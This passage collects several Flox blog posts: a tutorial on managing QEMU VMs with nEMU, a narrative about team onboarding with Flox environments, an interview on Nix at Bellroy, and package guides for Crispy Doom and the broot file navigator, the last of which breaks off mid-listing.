sake, I’m going to do this in the `~/sandbox` directory where most of my VMs live. Once I change into this directory, I type: ``` daedalus@nomos:~/sandbox$ flox init && flox install nemu qemu libvirt virt-manager && flox activate ``` These commands (**a**) initialize a Flox environment and (**b**) install the `nemu`, `qemu`, `libvirt`, and `virt-viewer` packages before (**c**) activating—i.e., launching and putting me into—a Flox subshell. Once I'm in that subshell, I can access and use the software Flox just installed. For what it's worth, I don’t necessarily _need_ to install QEMU, libvirt, and virt-viewer—they’re already on my system—but it is kind of awesome that I can get up-to-date versions of these dependencies (and hundreds of thousands of others!) from the Flox Catalog, right? This stuff just works, and I don't have to worry about it conflicting with system-wide dependencies. It takes a moment or so for Flox to download packages and build my environment. When it’s finished I see the following: ``` ✅ 'nemu' installed to environment 'sandbox' ✅ 'qemu' installed to environment 'sandbox' ✅ 'libvirt' installed to environment 'sandbox' ✅ 'virt-viewer' installed to environment 'sandbox' ``` Now I’m ready to start playin—er, _using_ nEMU. ## Configuring the nEMU TUI for QEMU Running nEMU for the first time triggers a setup wizard that prompts me to generate a default `nemu.cfg` file and define a default directory for my VMs. It also prompts me to configure other defaults (paths for the QEMU, VNC, and remote-viewer binaries) nEMU uses to run, manage, and connect to VMs. **Note**: If you opt to install the Flox Catalog's versions of the `qemu` and `virt-viewer` packages, be sure to enter `$FLOX_ENV` as the default path for both binaries when prompted by the `nemu.cfg` creation wizard. By the way, one neat thing of note is that Flox Catalog gives me a much newer version of the `qemu` package than the one I got from the Ubuntu 22.04 repos: namely, version 9.1.1 for Flox Catalog versus version 6.2.0 for Ubuntu 22.04. The Flox Catalog’s `remote-viewer` package is much newer, too (11.0 in Flox Catalog, versus 7.0 in Ubuntu 22.04.). Flox makes it easy to get up-to-date versions of both! ## Importing existing QEMU VMs into nEMU You can import an existing VM using nEMU’s import wizard, which you invoke by pressing **`SHIFT + A`**. From there, you just have to enter some basic information about your VM and press **`ENTER`**. Once I’ve imported my Fedora VM, I can press the **`e`** key to edit it. You can make many other changes, too, as well as perform actions on stopped or running VMs. - **`i`** edits network settings, including port forwarding rules - **`b`** edits boot settings; - **`a`** starts a wizard to add a virtual disk; - **`y`** renames a VM - **`l`** clones a VM; - **`SHIFT + S`** takes a snapshot; - **`SHIFT + X`** reverts a snapshot; - **`SHIFT + D`** deletes a snapshot; - **`SHIFT + C`** edits viewer settings. Running the VM is as simple as highlighting it in the left pane of nEMU's TUI and pressing the **`r`** key, while pressing **`p`** powers it down and pressing **`z`** resets it. You can highlight any VM and press the **`c`** key to connect to it. And, oh yes, pressing the **`h`** key brings up a help menu displaying a complete list of commands. ## Creating a New VM in the terminal Creating a greenfield VM is easier than importing an existing one, because you don’t have to worry about getting the initial settings just right. (For example, an existing VM might be configured to use a specific machine type and virtual hardware configuration.) First press **`SHIFT + I`** to bring up nEMU’s “Install VM” wizard. This screen looks a lot like the “Import” wizard above. In the screenshot below, I’ve configured an OpenSUSE Leap VM to boot using an ISO image. I still need to edit (by pressing **`e`**) this VM to change the machine type to `q35`; modify the viewer settings (by pressing **`SHIFT+C`**) to use a custom SPICE port; and configure port forwarding for SSH (by pressing **`i`**). But this workflow is orders of magnitude easier than mocking up and debugging a bash startup script from scratch! So that’s nEMU. It probably isn’t going to revolutionize what you do with QEMU, but if you’re accustomed to working in a terminal and logging into remote systems to create, run, and manage VMs, its TUI can make things much easier. By exploring the options surfaced via its **VM**, **boot**, and **network** configuration wizards, you can pretty much do everything with nEMU that you can do with custom bash startup scripts. ## FAQs about nEMU, QEMU and Flox ### What is nEMU and how does it relate to QEMU? nEMU is a terminal user interface (TUI) based on ncurses that serves as a frontend for QEMU. While QEMU provides extensive virtualization capabilities, its command-line interface can be complex and difficult to memorize. nEMU bridges this gap by offering a text-based menu system that allows users to create, configure, and manage virtual machines directly within the terminal without needing a graphical desktop environment. ### How does using Flox simplify the installation of nEMU? Flox allows you to install nEMU and its dependencies, such as QEMU and libvirt, into a dedicated, isolated environment without affecting your system-wide packages. By initializing a Flox environment and installing these tools, you ensure access to up-to-date versions of the software that work seamlessly together. Avoid the dependency conflicts often found when using standard system repositories on Linux or macOS. ### Can I manage VM snapshots and clones using nEMU? Yes, nEMU provides built-in shortcuts and wizards to handle advanced virtual machine management tasks like cloning VMs and managing snapshots. The interface allows users to easily take, revert, or delete snapshots, as well as duplicate existing virtual machines. ### Is nEMU a suitable replacement for graphical VM managers? nEMU is an excellent alternative to graphical virtual machine managers for users who prefer working in a terminal or need to manage VMs on headless servers where no GUI is available. It supports essential functions like creating virtual disks, configuring port forwarding, and editing boot settings through a text-based interface. ###What operating systems support nEMU? nEMU is compatible with Linux and macOS, allowing developers to manage virtual machines across different Unix-like platforms. When installed through a portable environment manager like Flox, users can run the tool consistently across these operating systems. This helps leverage the underlying power of the hypervisor to emulate various machine types and architectures directly from their command line. Title: Flox and Teams: Onboarding Made Easy with GitHub and Flox Source: https://flox.dev/blog/flox-and-teams-onboarding-made-easy-with-github-and-flox/ Date: 2024-11-07 Category: guide # Flox and Teams: Onboarding Made Easy with GitHub and Flox Onboarding onto something new is radically different when you use Flox to create and manage your dev environments. Onboarding into a new role, team, or project offers a strange mix of conflicting feelings. On the one hand, there’s the natural excitement of starting something new, doing something that compels you, activates you, challenges and engages you. That’s one of the best feelings in the world! On the other, you rarely _start_ with the compelling, activating, engaging bits of a new role or project. _First_ you have to set up your development environment, which takes time and usually involves a few missteps. It isn’t exactly boring, and it’s sometimes challenging, just not in an “activating” way. Onboarding onto something new is radically different when you use Flox to create and manage your dev environments! Think of Flox as enabling faster time-to-activation—in every sense of the term. Read on to get a sense of how Flox can transform your team’s onboarding experience! ## Joining a New Team in a New Role It’s 8:30 AM and you’re already sitting at your desk. Past experience has taught you that it’s a good idea to get an early start when you’re onboarding into a new company or role. Gripping a quad-shot latte in one hand and a fresh [cronut](https://en.wikipedia.org/wiki/Cronut) in the other, you start going through your onboarding email, which explains how to set up SSO with your org’s identity provider, use it to authenticate with GitHub, create a temporary GitHub token, etc. All of this is boilerplate, right down to the next step, which has you `git clone`-ing an onboarding repo to your system. _That’s_ when things take a turn for the weird. “After cloning the repository,” the email explains ``` … go to the ‘onboarding’ directory and run ‘bootstrap.sh’ to install Flox and configure your local system. ``` “Flox?” you think, “What's a Flox?” You run `bootstrap.sh`, which downloads and installs Flox. You see a message informing you that Flox is ``` Installing packages to environment 'default' ``` Interesting. So Flox is some kind of build or package manager? Good to know. Figuring this will take awhile, you decide to cut out for a brief bio break. Your inner cynic tells you there’s really no need to check back until after lunch. Returning a few minutes later, you reach for your quad-shot latte, reflexively take a sip, and howl in pain: Ouch! Still way, way too hot! That’s when you glance at your screen and do a double-take: ``` Setup complete. Refer to your onboarding email for detailed instructions on starting your projects. Press any key to exit. ``` What? Finished? While your latte is still hot enough to scorch the roof of your mouth? And about that last part: You aren’t actually ready to start working on projects … are you? ## Diving In You bet you are. The next step in the onboarding workflow has you connecting to your org’s project management service and jumping right into your assigned tasks. Your first task is to navigate to a GitHub repo called `docs` that lives in `$HOME/dev`, where you’re told to run `flox activate` again. The task includes the following action item: ``` This starts a local instance of Hugo, which provides up-to-date documentation. You also use this to contribute updates, with changes immediately updating in the local preview. ``` When you change into `~/dev/docs` and run `flox activate`, you see a variation on the earlier message (this time it says “Preparing environment ‘docs’”), along with status messages indicating that Hugo, Node.js, a specific version of Go (v1.22.5), ImageMagick, and a few other packages have been successfully installed. In less than a minute, Safari pops up again, this time displaying your org’s internal documentation homepage. Curious about something, you press `⌘ + TAB`, switching back to your terminal. There you see a message informing you: ``` You can start the docs server at any time by navigating to this directory and typing ‘flox activate’. Alternatively, you can run the `docs` alias in your terminal to start this instance directly. ``` Neat. Flox got you going, but you still aren’t certain _how_. What is it? What's it doing? Is it running Hugo in a VM or container? You `grep` the process table for VMs … and are startled to see that neither `hyperkit` nor `qemu` is running. ``` ps aux | grep -E 'hyperkit|qemu' Yamada.Hanako 37173 0.0 0.1 5424 680 pts/0 S+ 00:00 0:00 grep -E hyperkit|qemu ``` Huh. So Flox _isn’t_ spinning up a VM or multi-container runtime. What _is_ it doing then? You shrug. That’s a mystery to be solved at a later time. Glancing at your latte, you shake your head: nope, probably still too hot. You take another bite of your cronut, munch for a bit, and turn to your next assigned task: “activating” the GitHub repos you’ll use for local development, whatever that means. “Activating?” Do they mean “initializing,” like with `git init`? ## Working in Projects No, they do not: Apparently, they want you to navigate to each local repo’s directory and run `flox activate`. By now, you understand that Flox is involved in this _somehow_. But how? When you navigate to the first repo, `~/dev/o11y-frontend`, and type `ls -al`, part of the mystery clears up. In addition to `.git`, `.github`, and `.ci` directories, there’s a directory called `.flox`. Intriguing! Getting on with it, you type `flox activate` and are treated to the now-familiar message: “Preparing environment ‘o11y-frontend’." According to your org's documentation, this process happens just once—the first time you activate an environment. Among other software, you see that Flox installed several React-related packages, along with Node.js, nginx, OpenTelemetry (OTel), and other stuff. You briefly glimpse a console message informing you that Node.js, nginx, and Otel collector “[services](https://flox.dev/blog/flox-1.3-simplified-service-management-with-flox)” are running, then Safari pops up and you’re looking at … a mirror of your org’s production o11y dashboard—running on your local system. Already knowing the answer, you `⌘ + TAB` back to your terminal, typing: ``` ps aux | grep -E 'hyperkit|qemu' Yamada.Hanako 181491 0.0 0.1 5424 680 pts/0 S+ 00:00 0:00 grep -E hyperkit|qemu ``` _Still_ no VMs or containers? How is this possible? You `⌘ + TAB` to the o11y dashboard, chewing on the last bite of your cronut and reaching, tentatively, for your latte. Sensing that the cup feels a little cooler, you take a cautious sip. Still hot, but not scorchingly so. Sipping and swallowing, you navigate to ``` ~/dev/foo_enterprises/o11y-search ~/dev/foo_enterprises/o11y-shared ~/dev/foo_enterprises/o11y-tests ~/dev/foo_enterprises/o11y-aws ~/dev/foo_enterprises/o11y-redshift ``` … activating each repo sequentially. Each time, Flox installs required packages and puts you into a subshell that usually displays an informational message about how to use the environment. Some environments also provide helpful hints, such as aliases you can use to start them without running `flox activate`. You sip your latte, being careful to spare the roof of your mouth, while brushing cronut crumbs from your fingers, hands, and chin. Scowling, you click on—wow!—the _last_ of your onboarding tasks: ``` Log into Jira to review and start working on backlog tickets relevant to your projects and responsibilities. Pair with your mentor or teammates as needed. ``` Wait: start working on Jira tickets _today_? Like, _now_? At—you check your phone—8:55 AM? ## Lifting the Curtain on Flox How is this possible? Scrolling through your local docs server, you learn that Flox is based on [Nix](https://github.com/NixOS/nix), the open source environment and package manager. Nix, huh? You ask ChatGPT to explain how Flox is different from Nix: ``` Flox builds on Nix’s approach to dependency management and environment isolation, enabling declarative, reproducible developer environments that run directly on the host system, using native binaries and libraries optimized for each OS. By enhancing Nix with user-friendly, intuitive tooling, Flox makes it easier to use. ``` Reading your org’s docs, you learn that you can create your own Flox environments just by typing `flox init` in a directory and using the `flox install ` command to add packages to it. You pick up a few other tips along the way, too, such as: - You can share Flox environments using GitHub _or_ [FloxHub](https://flox.dev/blog/write-once-take-anywhere-home-away-from-home-with-floxhub/); like `git push`, FloxHub uses a similar `flox push` command; - You can lock Flox environments to specific software versions, environment variables, services, etc.; - FloxHub gives you a way to _centrally manage_ Flox environments for teams, projects, or use cases; - The command `flox activate -r` lets you activate FloxHub environments in any project repo on your local system; - With `flox activate -r`, teams get the same version of a FloxHub environment (run `flox pull -r` to update to the latest version). You also discover that your teammates have created pre-built FloxHub “toolkits” for AWS, GitHub, and other services that you can activate remotely, [layering](https://flox.dev/blog/a-very-short-introduction-to-layering-in-flox/) them on top of existing projects. This gives you the capabilities of an orchestrated multi-container runtime without the complexity—or the inconvenience. The coolest thing is that Flox does this without VMs or containers. As you knock down Jira tickets in your Flox-activated GitHub project environments, it all comes into focus: you’re able to _transparently_ access local resources on your MacBook! You don’t have to define container-specific networks and port-forwarding rules, create storage mounts, or inject variables and secrets! Everything just works. It’s kind of like having a one-way mirror through which you can both look and _reach into_ your local system. ## Reproducible Development Made Simple With Flox, the onboarding experience is completely different, whether you’re starting in a new org, shifting to a new role within the same org, joining a new team, or kicking off a new project. Flox environments are declarative, portable, and reproducible. Unlike VM- or container-based setups, they run on your native system, using OS- and CPU-optimized versions of binaries, libraries, and other dependencies. The Flox environments you use to build locally Just Work when shared with teammates, pushed to CI, or deployed in prod. Onboarding with Flox gets you working productively faster, whether you’re doing problem analysis, collaborating with teammates, squashing bugs, and writing new code-or you’re just knocking down tickets. Try it yourself. [Download](https://flox.dev/docs/install-flox/) Flox and pull one of our [example environments](https://flox.dev/environments/) from FloxHub. Running a local, container-less instance of PostgreSQL is as simple as typing: ``` flox activate -r flox/postgres ``` Intrigued? [Check out our quick start guide](https://flox.dev/docs/) to learn how Flox fits into your workflow! Title: Nix in the Wild: Enterprise Nix at Bellroy Source: https://flox.dev/nixinthewild/nix-in-the-wild-bellroy/ Date: 2024-11-01 Category: interview # Nix in the Wild: Enterprise Nix at Bellroy Nix is more than just an accessory for chic designer Bellroy: it is a critical piece in its innovative software stack, making difficult things possible in a unique, valuable way. The Australian brand Bellroy is world-renowned for the chic, functional design of its iconic accessories. It is less well known as an extreme software engineering shop. Yet software engineering has played an outsized role in Bellroy’s growth. At each stage of its transition from scrappy, upstart e-tailer to thriving omnichannel retailer, Bellroy has had to make careful decisions about software architecture, programming paradigms and practices, and its technology stack. Over the past few years, Nix has become an increasingly important part of that stack. First, `shell.nix` files gave Bellroy a way to standardize the development environments for its software. And when Bellroy started heavily using [AWS Lambda](https://aws.amazon.com/lambda), [IOG’s](https://github.com/input-output-hk) [haskell.nix](https://github.com/input-output-hk/haskell.nix) framework provided a reliable way to build Lambda deployment packages, as well as manage custom native dependencies. “Part of what you get with Nix is that when it works, it _stays_ working, so it’s not like other systems where you have this ongoing maintenance where you’re constantly having to touch it,” says Jack Kelly, Bellroy’s inaugural staff engineer. As Bellroy’s most experienced Nix user, Kelly admits he’s grown to love it—warts and all. “Yes, it’s a bit ugly and, yes, I have some objections to the language, but it’s built on a fundamentally good idea and it makes things possible that you can’t get anywhere else,” he observes. He paraphrases a quote variously attributed to Perl creator Larry Wall and Turing Award-winner Alan Kay. “Easy things should be easy; hard things should be possible,” Kelly says. “While it’s true that Nix still struggles with making simple things easy, it makes hard things possible in a unique, truly valuable way.” ## Standardized Developer Shells Initially, Bellroy’s Tech Team just needed a way to standardize their local development environments. Nix gave them tools to do this and also dropped right into their existing workflows—without requiring containers. Yes, Kelly acknowledges, Nix itself has a learning curve, but most software engineers at Bellroy didn’t (and still don’t) have to worry about this. When Bellroy started with Nix, Kelly and a few other enthusiasts were responsible for creating the `shell.nix` files Nix uses to automatically configure tools and dependencies for each platform and use case. From the get-go, the only Nix expertise other developers on Bellroy’s Tech Team needed to know was how to run `nix-shell`. You use this command to initialize a shell that installs and configures all the packages defined in `shell.nix`. This gives coders a development environment with all of the tools (along with specific versions of dependencies) they require for their projects. And, just like with a container, the environments Nix creates are isolated from the local system’s global settings. Developers can set them up and tear them down as needed. Nix is brilliant for this, says Kelly. “We said, ‘We're gonna try Nix shells and see how they go.’ And that paid off well enough that pretty much everyone is happy using Nix as a source for their dev tooling,” he explains. “And our success with that enabled us to go further into Nix as and when we needed it.” ## Solving AWS Lambda Deployment Pain The next phase in Bellroy’s journey was to use Nix to package Haskell executables for AWS Lambda. This was a decision Kelly had to talk himself into, and it took some convincing. It’s like this: Lambda presents well-known deployment challenges. It expects packages to be self-contained—with the executable and all dependencies built into it. In addition, Lambda has [limits on the size of deployment packages](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-limits.html), and Haskell is notorious for compiling to large binaries with extensive dependencies. The challenge with using Lambda and Haskell—or _any_ compiled language—isn't just including the required libraries. It’s ensuring that the executables are correctly linked so that they can locate and use their libraries at runtime. Initially, containers gave Bellroy a workable, though sub-optimal, solution. At the very least, using a build container ensured binaries were dynamically linked to system libraries when running in the Lambda environment. “For a time, we were able to get by doing our builds in a container that had a very similar set of libraries [to the Lambda runtime environment]. So you'd upload the binary produced by that build process to Lambda, and it would dynamically link to the system libraries, which usually worked,” Kelly explains. Ultimately, the real catalyst for using Nix to build deployment artifacts was Bellroy’s desire to have AWS Lambda Functions publish records to Kafka topics. The chief problem was that the Kafka client Bellroy needed to use wasn’t available in Lambda’s cloud execution environment. On top of this, Kelly points out, there also wasn’t an obvious trustworthy source for RPM packages that would be compatible with this environment. This meant the team had to configure and build the [`librdkafka`](https://github.com/confluentinc/librdkafka) Kafka client library directly from source. Only then could they package everything up into a ZIP file and deploy it to AWS Lambda. If it’s true that Nix makes difficult things doable, this was going to be a doozy of a test, because it would significantly complicate the team’s build process, too. Here again, Bellroy found a solution in Nix, tapping IOG’s [haskell.nix framework](https://github.com/input-output-hk/haskell.nix/) to create statically linked binaries for Lambda. First, `haskell.nix` provides versions of the [Glasgow Haskell Compiler](https://github.com/ghc) that can create fully static binaries, using [musl libc](https://musl.libc.org/). Second, it has access to the massive [nixpkgs](https://github.com/NixOS/nixpkgs) package set, which includes `librdkafka`. Finally, Nix makes it easy to post-process build outputs into ZIP files and call out to tools like the [UPX executable compressor](https://upx.github.io/), keeping packages under Lambda’s size limits. All of this makes sense in retrospect, Kelly acknowledges. At the time, however, he was uncertain about how understandable and maintainable it would be, particularly given Nix’s reputedly steep learning curve. “I was probably the most experienced Nix user on the team. I set up the [Hydra server](https://github.com/NixOS/hydra), and I also wrote most of the stuff we needed to get Haskell going in Lambda,” he points out. “But I was probably the least enthusiastic about pushing `haskell.nix`, even though, for us, it’s performed really well.” ## The Cause of, and Solution to, its Own Problems A team that adopts Nix can rapidly find themselves in a “Sorcerer’s Apprentice” situation if they’re not careful. It goes like this: Initially they adopt Nix to address a specific problem or use case, and it usually does this very well. But sooner or later, the team discovers a few more things about Nix: - **First**, it’s a useful tool to solve other problems—often the best overall choice; - **Second**, it has a learning curve that (depending on what you need to do) can quickly become steep; and - **Third**, Nix brings with it a few problems of its own—for which the solution is usually…more Nix! The near-irresistible temptation to use Nix for _just one more thing_ can lead to a situation in which custom Nix expressions spread throughout a team’s projects. These custom expressions often trigger builds that aren’t available via the public Nix cache at [https://cache.nixos.org](https://cache.nixos.org), which means that developers spend more time waiting for Nix to build things than actually working. Solving this requires deploying a private cache and a system to populate it. For this and other advanced patterns to work, the people responsible for maintaining a team’s Nix tooling have to become stone-cold Nix experts. Kelly concedes that an engineer might think twice before committing to this level of ownership. He says the key is restraint: it is perfectly reasonable for a team to begin by defining developer environments via `shell.nix` and to carefully expand how they use Nix in phases and stages. Otherwise, what might start as a simple task can require diving into and contributing to frameworks like `haskell.nix`, or deploying custom infrastructure to run a private Hydra server. Doing so has benefits, but this complexity doesn’t have to be adopted all at once. This is similar to what happened at Bellroy. After successfully using Nix to enable reproducible development environments, Kelly mainly had to _talk himself_ into committing to the next phase in Bellroy’s journey. “I’d say, ‘We don’t have to use Docker for the Haskell builds, and I can get the other libraries we need from Nix, too. I’m not saying we need to do it this way, but….’ And they just said ‘Okay,’” he explains. “That’s it: ‘Okay.’ They were okay with it. I expected more of an uphill battle and a bit more skepticism in the team. But we had the buy-in from the rest of the team, and it has worked out well. Turns out, I was the one who needed to be convinced.” ## The Cure for Wicked Build Problems Ultimately, sheer necessity is what convinced Kelly that Nix was the right call. This, too, is familiar. Obviously, it’s an exaggeration to say that people come to Nix _only_ when they’ve exhausted other options; however, it’s definitely the case that Nix adoption is self-selecting: if you’ve got a wicked build problem, Nix is probably going to be one of the tools on your shortlist. Once a software engineering team gets a taste for Nix, it’s difficult to resist its siren song. This is true even when a team adopts Nix to address a specific use case or a strict set of requirements—for instance, as part of a scalable, reproducible pattern for container-less local builds. Odds are they’re going to be tempted to use it _whenever_ they bump up against hard build problems. Whether it’s managing dependencies across toolchains; using declarative methods to define software; or automating custom, reproducible CI build processes, Nix is often seen as the answer to a stymied engineering team’s prayers—its many benefits decisively outweighing the effort involved in mastering it. This was absolutely the case with Kelly and Bellroy. “The local developer environment story is so valuable, because this is such a major pain point for people. You join a project, and you’re like, ‘Okay, how do I actually build this thing?’ The answer is you run `nix develop` and then you run `make` or the equivalent. And that is just fantastic,” he points out. “Eventually, we needed it for things we couldn’t do otherwise. So how do you describe that? Maybe like this: Nix isn’t a tick-all-the-boxes type thing; it just makes the seemingly impossible possible.” ## When is Nix worth it? In spite of his fondness for Nix, Kelly advocates for a strategic, needs-based approach to adopting it. “The thing you need to ask yourself is whether having this type of tool at this layer is going to solve your problem,” he explains. The crux of Kelly’s question goes to the skill, discipline, and (not least) identity of a software engineering team. “If you're dealing with problems in your dev process, where are they? Are you going to be better served by getting good type-checking going, or being more disciplined about the code you write, than the deployment stuff?” he asks. “I'd be looking for whether there's enough problems at the build-process level that adopting Nix is actually going to make your life better. You're going to get a much better Nix story with Haskell than with Python, or JavaScript, or something like that.” If yours is a team that takes pride in its engineering culture, Nix is a more attractive option, Kelly argues. “I think we at Bellroy have the philosophy that we want to use great tools, but we’ve also accepted that if they aren’t available, we're willing to build our own,” he concludes, citing Bellroy’s highly customized Haskell builds for AWS Lambda. “If you're setting up your own deployments, Nix is good at plugging into anything. You can build ZIP files for Lambda, you can build container images, you can even build VM images and import them into your cloud provider. These are all things you can do. The question you have to ask yourself is: Does your team need to do these things and do they have the ability to maintain the Nix code to make them possible?” _You can read more about Bellroy's journey with Nix on the company's [Technical Blog](https://exploring-better-ways.bellroy.com/the-history-of-nix-at-bellroy.html)!_ Title: Turbocharge Your Productivity with Crispy Doom and Flox Source: https://flox.dev/popular-packages/turbocharge-your-productivity-with-crispy-doom-and-flox/ Date: 2024-10-31 Category: tutorial # Turbocharge Your Productivity with Crispy Doom and Flox Just in time for Halloween: Get a prebuilt Flox environment that runs anywhere for playing the shareware version of Doom. Or any of the Doom add-ons available in the Flox Catalog. Or any old-school DOS-based game! The stygian stench of sulfur scorches your sinuses, its mephitic fumes setting fire to your lungs, inflaming their sensitive alveolar fibers. Your stillsuit’s filtration system is FUBAR, you’re low on ammo, and you ate the last Snickers bar you had in your healthpack. Guess what? It didn’t satisfy you. But how could it? It feels like you’re in hell, even though you’re supposed to be on one of the moons of Mars. Spoiler alert: you’re in _[Doom](https://en.wikipedia.org/wiki/Doom_(1993*video_game))*, the classic first-person shooter (FPS) video game. To be pedantic, you’re inside a _Flox environment_, and you're playing the shareware version of [id Software's](https://www.idsoftware.com/en) _Doom_ on your M3 MacBook, courtesy of [Crispy Doom](https://github.com/fabiangreffrath/crispy-doom), an improved fork of [Chocolate Doom](https://github.com/chocolate-doom/chocolate-doom) that's completely compatible with classic _Doom_'s files and demos. How did you end up here? Because this package guide is a sweet deal. You get a prebuilt Flox environment that runs anywhere for playing the shareware version of _Doom_. Or any of the _Doom_ add-ons available in the Flox Catalog. Or any old-school DOS-based game, for that matter. (Anybody remember _[Duke Nukem 3D](https://en.wikipedia.org/wiki/Duke_Nukem_3D)_?) After all, there are more than 215,000 packages in Flox Catalog, not all of them strictly (for) business. Because sometimes you gotta load up the [BFG 9000]() [and let loose on monsters or zombies](https://youtu.be/SLqoJwJ-KX0)—and we aren’t talking about [zombie processes](https://en.wikipedia.org/wiki/Zombie_process). Intrigued? Read on to find out about how to pla—er, _learn from_ this package guide for _Doom!_ ## Getting _Doom_ This article assumes you've already installed Flox. If you haven’t, you can easily [download](https://flox.dev/docs/install-flox/) it and play along at home. We’ll pause for a moment to give you a chance to do so. (Drums fingers on keyboard.) Ready? OK. Once Flox is installed, you can transparently pull and activate a pre-built environment from FloxHub that includes not just _Doom_, but all the packages you need to run it. Just type the following command: ``` flox activate -r flox/crispy-doom ``` This activates the FloxHub environment `crispy-doom`, which is cached locally, and puts you in a subshell. When you type exit to quit (or press CTRL + D), the session ends (but the cache remains for next time). If you prefer to work in a persistent local environment, Flox makes this a snap, too: ``` cd ~/dev && mkdir doom && cd doom && flox pull –copy flox/crispydoom ✨ Created path environment from flox/crispy-doom. You can activate this environment with 'flox activate' ``` ## Using _Doom_ To use the _Doom_ productivity utility built into the `crispy-doom` Flox environment, just type `flox activate`. This puts you into a typical Flox subshell and surfaces some helpful hints you can use to get started: ``` ✅ You are now using the environment 'crispy-doom'. To stop using this environment, type 'exit' ╔════════════════════════════════════════════╗ ║ ║ ║ Edit the environment to switch game ║ ║ libraries inside the [vars] section: ║ ║ 👉 flox edit ║ ║ ║ ║ Start a nice game of Doom: ║ ║ 👉 runcrispy ║ ║ ║ ╚════════════════════════════════════════════╝ flox [crispy-doom] daedalus@askesis:~/dev/crispy-doom/crispy-doom$ runcrispy ``` Typing `runcrispy` and pressing `ENTER` treats (some of us) to a quite familiar splash screen: Amazingly, not only is the Flox `crispy-doom` environment fully functional—with graphics, sound, keyboard, and mouse controls—on macOS and Linux, but on Windows systems with WSL2, too! Credit Flox, to be sure, but also credit the Crispy Doom project. Incredible work! Except for the screenshot below, all the rest of the screencaps in this article were created (usually during important Flox meetings, whilst one of us was totally paying attention and not at all phoning-in their presence) using an Ubuntu WSL2 instance on Windows 11. With sound effects turned up to 11. Believe it or not, playing _Doom_ for work is ... hard work! At first, we spent a stupendous amount of time looking for this guy ... ... while dusting-off old cheat codes like `idspispopd`, `iddqd`, and `idkfa` in the process. Try as we might, we couldn’t find the [Cyberdemon](https://doomwiki.org/wiki/Cyberdemon) on our own, so finally we gave up and just typed `idclev`, which is the cheat code you use to skip levels. That’s when we figured out ... the Cyberdemon _isn’t in_ the shareware version. So we recalibrated our strategy, opting to focus on speed-running _Doom_ levels. Totally and completely without cheating, of course! ## Advanced Usage Ross Turk, who designed this environment, built some optional IWAD (i.e., “Internal WAD) files into it. You can enable these by typing `flox edit`, which puts you into Flox’s built-in editor. You use this editor to make changes to a Flox environment. (Alternately, you can navigate to `.flox/env/manifest.toml` and open that file in your preferred editor. The [manifest.toml](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/) file is always found in this path. It’s the declarative configuration artifact for every Flox environment.) To enable the optional IWAD files, just uncomment them under the `# Freedoom` section as shown below. **Important Safety Tip**: Also make sure you **comment** the entries under `# Original Doom shareware`. ``` [vars] # Freedoom doom_url = "https://github.com/freedoom/freedoom/releases/download/v0.13.0/freedoom-0.13.0.zip" doom_iwad = "freedoom-0.13.0/freedoom1.wad" # Original Doom shareware #doom_url = "http://www.doomworld.com/3ddownloads/ports/shareware_doom_iwad.zip" #doom_iwad = "DOOM1.WAD" ``` If there’s a custom _Doom_ version you want to use in a software project and/or strictly for productivity purposes, you can add it here. With a little Web searching you might could turn-up a complete version of _Doom_, including the expanded _The Ultimate Doom_, which packs three extra levels and spookier music. You _won’t_ find these commercial packages in the Flox Catalog. You will, however, find other open source versions of _Doom_, along with multiple versions of _[Quake](https://en.wikipedia.org/wiki/Quake_(video*game))*, _Duke Nukem 3D_, _[Wolfenstein 3D](https://en.wikipedia.org/wiki/Wolfenstein_3D)_, _[Rise of the Triad](https://en.wikipedia.org/wiki/Rise_of_the_Triad)_, and other games that have been released as shareware, or whose engines have been made open source. There’s even a reverse-engineered version of the cult-game _[Carmageddon](https://en.wikipedia.org/wiki/Carmageddon)_, aptly named `dethrace`, punning on Paul Bartel’s 1975 cult-classic film _Death Race 2000_. So this has been this week’s featured package guide. Happy FPS-ing! Title: Totally Transform your Terminal Workflow with broot and Flox Source: https://flox.dev/popular-packages/totally-transform-your-terminal-workflow-with-broot-and-flox/ Date: 2024-10-25 Category: tutorial # Totally Transform your Terminal Workflow with broot and Flox broot has it all: Fast, intuitive file navigation, search, and management capabilities; built-in support for cp, rm, and other common commands; plus the ability to integrate with your Git workflow Are you the kind of person who’s always up for a cool new-to-you terminal tool? If so, do you know about [broot](https://dystroy.org/broot/)? It’s got ... a lot going for it: - Fast, intuitive folder + file navigation, search, and management capabilities; - Built-in support for commands like `rm`, `cp`, and others; - The ability to preview the contents of a file without opening it; - Integration with your Git workflow. Broot is the kind of _sui generis_ tool that just might change your _life_, to say nothing of your workflow. It always makes me think of legendary concert promoter Bill Graham’s take on the Grateful Dead: They’re not just the best at what they do, they’re the _only ones_ who do what they do. That’s as good a description as I can think of for broot. Read on to get an idea how broot can fit into and improve your workflow. ## Getting It This article assumes you've already installed Flox. If you haven’t, you can easily [download](https://flox.dev/docs/install-flox/) Flox and play along at home. We’ll pause to give you a chance to do so. Ready? OK. Once Flox is installed, you can transparently pull and activate a pre-built environment from FloxHub that includes not just broot, but other essential packages, too. Just run the following command: ``` flox activate -r flox/a-perfect-shell ``` This activates a FloxHub environment, which is cached locally, and puts you in a subshell. When you type `exit` to quit (or press `CTRL + D`), the session ends (but the cache remains for next time). If you prefer to work in a local environment, Flox makes installing broot a snap: ``` mkdir rhizome && cd rhizome && flox init && flox install broot && flox activate ✅ 'broot' installed ✅ You are now using the environment 'rhizome'. To stop using this environment, type 'exit' ``` All right. One way or another, you’ve got broot. Now, what can you do with it? ## Broot Basic Usage Let’s say you’ve got tens of thousands of folders on your local 4TB NVME drive. You need a file that’s in a specific folder, but you can’t remember _which_ folder, or where it lives. You can, however, remember part of its name. Broot makes finding the right folder or file a snap. First, let’s start it up: ``` daedalus@askesis:~/home/daedalus/nfs$ broot ``` Broot’s terminal UI is reminiscent of a tool like [Ranger](https://github.com/ranger/ranger). It has a familiar [ncurses](https://en.wikipedia.org/wiki/Ncurses)-like interface, with a search box at the bottom. I can navigate using the `UP` and `DOWN` cursor keys, moving broot's cursor (`▶`) to the file or directory I want, or … I can just start typing! For example, when I type `Miles\ Davis`, broot starts searching recursively, fuzzily matching directories and files in my path. ``` /home/daedalus/nfs └── opus └── tunez … ▶ └── opus/tunez/miles ├── Miles Davis – A Tribute to Jack Johnson (1971) [FLAC] … ├── Miles Davis - Miles in the Sky (1968) [FLAC] … ├── Miles Davis - Paraphernalia (1969) [FLAC] … ├── Miles Davis & Gil Evans - The Complete Columbia Studio Recordings (1957–1968) [FLAC] … ├── Miles Davis & Jimmy Forrest - Our Delight 